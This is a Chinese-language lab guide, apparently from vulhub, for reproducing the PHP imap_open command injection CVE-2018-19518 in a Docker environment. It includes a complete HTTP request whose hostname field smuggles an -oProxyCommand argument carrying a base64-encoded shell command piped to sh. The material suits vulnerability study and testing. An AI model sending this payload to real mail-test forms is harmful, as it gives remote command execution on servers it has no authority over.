PHP imap 远程命令执行漏洞(CVE-2018-19518)

php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。

因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。

参考链接:

漏洞环境

执行如下命令启动一个包含漏洞的PHP环境:

docker-compose up -d

环境启动后,访问http://your-ip:8080即可查看web页面。Web功能是测试一个邮件服务器是否能够成功连接,需要填写服务器地址、用户名和密码。

目标源码在index.php

漏洞复现

发送如下数据包即可成功执行命令echo '1234567890'>/tmp/test0001

POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125

hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222

执行docker-compose exec web bash进入容器,可见/tmp/test0001已成功创建:

Copied From: vulhub/php/CVE-2018-19518